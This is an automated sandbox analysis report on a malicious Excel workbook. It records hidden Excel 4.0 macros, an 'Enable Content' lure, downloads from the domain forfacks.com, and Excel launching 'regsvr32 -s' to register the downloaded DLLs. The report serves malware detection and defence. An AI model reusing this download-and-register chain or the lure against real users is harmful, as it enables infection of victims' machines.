Loading ...

Play interactive tourEdit tour

Analysis Report viVrtGR9Wg.xlsb

Overview

General Information

Sample Name:viVrtGR9Wg.xlsb
Analysis ID:432052
MD5:008e2b469abf7058701ed9809ba1f949
SHA1:d3c7adb371859497a0e3b61796a9469b1e9d1721
SHA256:2d659e7701fdd879c933ca2f625d7183810342fd79a75d476dd68f4c3b8eeeb4
Tags:xlsbxlsx
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score:76
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for domain / URL
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Found Excel 4.0 Macro with suspicious formulas
Found abnormal large hidden Excel 4.0 Macro sheet
Sigma detected: Microsoft Office Product Spawning Windows Shell
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Registers a DLL
Tries to load missing DLLs
Yara detected Xls With Macro 4.0

Classification

Process Tree

  • System is w10x64
  • EXCEL.EXE (PID: 6888 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)
    • regsvr32.exe (PID: 7120 cmdline: regsvr32 -s ..\werty1.dll MD5: 426E7499F6A7346F0410DEAD0805586B)
    • regsvr32.exe (PID: 7160 cmdline: regsvr32 -s ..\werty2.dll MD5: 426E7499F6A7346F0410DEAD0805586B)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
app.xmlJoeSecurity_XlsWithMacro4Yara detected Xls With Macro 4.0Joe Security

    Sigma Overview

    System Summary:

    barindex
    Sigma detected: Microsoft Office Product Spawning Windows ShellShow sources
    Source: Process startedAuthor: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: regsvr32 -s ..\werty1.dll, CommandLine: regsvr32 -s ..\werty1.dll, CommandLine|base64offset|contains: ,, Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 6888, ProcessCommandLine: regsvr32 -s ..\werty1.dll, ProcessId: 7120

    Signature Overview

    Click to jump to signature section

    Show All Signature Results

    AV Detection:

    barindex
    Multi AV Scanner detection for domain / URLShow sources
    Source: forfacks.comVirustotal: Detection: 5%Perma Link
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dll
    Source: unknownHTTPS traffic detected: 192.185.48.167:443 -> 192.168.2.4:49736 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 192.185.113.120:443 -> 192.168.2.4:49738 version: TLS 1.2

    Software Vulnerabilities:

    barindex
    Document exploit detected (UrlDownloadToFile)Show sources
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXESection loaded: unknown origin: URLDownloadToFileA
    Document exploit detected (process start blacklist hit)Show sources
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe
    Source: global trafficDNS query: name: forfacks.com
    Source: global trafficTCP traffic: 192.168.2.4:49736 -> 192.185.48.167:443
    Source: global trafficTCP traffic: 192.168.2.4:49736 -> 192.185.48.167:443
    Source: Joe Sandbox ViewASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US
    Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
    Source: unknownDNS traffic detected: queries for: forfacks.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://addinsinstallation.store.office.com/app/download
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://addinslicensing.store.office.com/commerce/query
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://api.aadrm.com/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://api.addins.omex.office.net/appinfo/query
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://api.addins.omex.office.net/appstate/query
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://api.addins.store.office.com/app/query
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://api.cortana.ai
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://api.diagnostics.office.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://api.microsoftstream.com/api/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://api.office.net
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://api.onedrive.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://apis.live.net/v5.0/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://augloop.office.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://augloop.office.com/v2
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://autodiscover-s.outlook.com/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://cdn.entity.
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://clients.config.office.net/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://config.edge.skype.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://cortana.ai
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://cortana.ai/api
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://cr.office.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://dataservice.o365filtering.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://dataservice.o365filtering.com/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://dev.cortana.ai
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://devnull.onenote.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://directory.services.
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://ecs.office.com/config/v2/Office
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://graph.ppe.windows.net
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://graph.ppe.windows.net/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://graph.windows.net
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://graph.windows.net/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://incidents.diagnostics.office.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://lifecycle.office.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://login.microsoftonline.com/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://login.windows.local
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://management.azure.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://management.azure.com/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://messaging.office.com/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://ncus.contentsync.
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://ncus.pagecontentsync.
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://officeapps.live.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://onedrive.live.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://onedrive.live.com/embed?
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://outlook.office.com/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://outlook.office365.com/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://powerlift.acompli.net
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://settings.outlook.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://shell.suite.office.com:1443
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://skyapi.live.net/Activity/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://staging.cortana.ai
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://store.office.cn/addinstemplate
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://store.office.com/addinstemplate
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://store.office.de/addinstemplate
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://store.officeppe.com/addinstemplate
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://tasks.office.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://templatelogging.office.com/client/log
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://web.microsoftstream.com/video/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://webshell.suite.office.com
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://wus2.contentsync.
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://wus2.pagecontentsync.
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
    Source: 2A67B087-45F1-4236-B3FB-851D3F1CEFAA.0.drString found in binary or memory: https://www.odwebp.svc.ms
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49738
    Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49736
    Source: unknownNetwork traffic detected: HTTP traffic on port 49738 -> 443
    Source: unknownHTTPS traffic detected: 192.185.48.167:443 -> 192.168.2.4:49736 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 192.185.113.120:443 -> 192.168.2.4:49738 version: TLS 1.2

    System Summary:

    barindex
    Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
    Source: Screenshot number: 4Screenshot OCR: Enable Content WHY I CANNOT OPEN THIS DOCUMENT? W You are using iOS or Android, please use Desktop
    Found Excel 4.0 Macro with suspicious formulasShow sources
    Source: viVrtGR9Wg.xlsbInitial sample: EXEC
    Found abnormal large hidden Excel 4.0 Macro sheetShow sources
    Source: viVrtGR9Wg.xlsbInitial sample: Sheet size: 8595
    Source: viVrtGR9Wg.xlsbInitial sample: Sheet size: 7538
    Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dll
    Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dll
    Source: classification engineClassification label: mal76.expl.evad.winXLSB@5/10@2/2
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCacheJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\{E6D6A682-DA87-4CD7-85B4-C36182AD150D} - OProcSessId.datJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
    Source: C:\Windows\SysWOW64\regsvr32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
    Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\werty1.dll
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\werty2.dll
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\werty1.dll
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\werty2.dll
    Source: Window RecorderWindow detected: More than 3 window changes detected
    Source: viVrtGR9Wg.xlsbInitial sample: OLE zip file path = xl/media/image1.png
    Source: viVrtGR9Wg.xlsbInitial sample: OLE zip file path = xl/media/image2.png
    Source: viVrtGR9Wg.xlsbInitial sample: OLE zip file path = xl/media/image3.png
    Source: viVrtGR9Wg.xlsbInitial sample: OLE zip file path = xl/media/image4.png
    Source: viVrtGR9Wg.xlsbInitial sample: OLE zip file path = xl/media/image5.png
    Source: viVrtGR9Wg.xlsbInitial sample: OLE zip file path = xl/media/image6.png
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dll
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\werty1.dll
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
